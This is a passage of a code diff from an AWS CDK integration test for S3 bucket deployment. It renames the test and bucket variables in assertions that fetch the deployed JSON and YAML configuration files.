+ const integTest = new IntegTest(app, 'integ-test-bucket-deployment-data', {
93
+ testCases: [testCase],
73
94
  });
74
95
 
75
- // Add assertions to verify the JSON file
76
- const assertionProvider = integ.assertions.awsApiCall('S3', 'getObject', {
77
- Bucket: bucket.bucketName,
96
+ // Assert that addSource() successfully adds the data source alongside the asset source
97
+ const assertionProvider = integTest.assertions.awsApiCall('S3', 'getObject', {
98
+ Bucket: testCase.bucket.bucketName,
78
99
  Key: path.join('deploy/here', 'my-json/secret-config.json'),
79
100
  });
80
101
 
@@ -85,8 +106,8 @@ assertionProvider.expect(ExpectedResult.objectLike({
85
106
  }));
86
107
 
87
108
  // Add assertions to verify the YAML file
88
- const yamlAssertionProvider = integ.assertions.awsApiCall('S3', 'getObject', {
89
- Bucket: bucket.bucketName,
109
+ const yamlAssertionProvider = integTest.assertions.awsApiCall('S3', 'getObject', {
110
+ Bucket: testCase.bucket.bucketName,
90
111
  Key: path.join('deploy/here', 'my-yaml/secret-config.yaml'),
91
112
  });
92
113